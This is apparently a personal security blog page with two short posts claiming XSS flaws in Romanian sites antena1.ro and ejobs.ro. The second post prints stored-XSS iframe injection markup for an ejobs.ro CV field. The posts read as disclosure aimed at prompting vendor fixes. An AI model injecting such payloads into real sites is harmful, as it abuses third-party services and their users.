I use to watch Badea’s show “In gura presei” kindly provided as a recorded streaming on antena1.ro
While listening to the stream, I could not resist checking the site design, functionality and of course it’s security.
And voila - it seems that streaming archive section of antena1.ro is XSS-reflection vulnerable.
Code for PoC XSS reflection:
Code:
DISCLAIMER: this post is intended purely for security research and educative purposes as well as intended to urge the vendor to fix the problems posing threats to its customers. Any use of this information is sole responsibility of the reader and the author is not to be held liable for any miss-use of the above informative technical details.
First part article showing ejobs.ro security weaknesses is here
Now we continue with a XSS-with-DNS experiment.
First, it allows as a *feature* for the users to create some kind of subdomains on ejobs.ro which get linked to either Romanian or English version of the CV. Even though it looks like a cool feature, it wasn’t given a thought:
Now to the experiment part
. ejobs.ro and bestjobs.ro are two competing HR/Recruitment firms (at least they pose themselves on the market like this - who knows, maybe the same shadow-person owns both
)
Using stored XSS attack with iframe and using the sub-domain feature we get the below:
In CV section of your ejobs.ro account, in the Objectives text-box use the following iframe injection code to check the proof:
Code:
<iframe | |
src=http://www.bestjobs.ro | |
width=800 | |
height=240 | |
> | |
</iframe > | |
| |
| |
<iframe | |
src=http://www.ejobs.ro | |
width=800 | |
height=240 | |
> | |
</iframe > |
For sure they miss something in their security approach towards web application development.
That’s it for now. See you next time.
DISCLAIMER: this post is intended purely for security research and educative purposes as well as intended to urge the vendor to fix the problems posing threats to its customers. Any use of this information is sole responsibility of the reader and the author is not to be held liable for any miss-use of the above informative technical details.
A deep dive into brain's curiosities
| Sun | Mon | Tue | Wed | Thu | Fri | Sat |
|---|---|---|---|---|---|---|
| << < | > >> | |||||
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | ||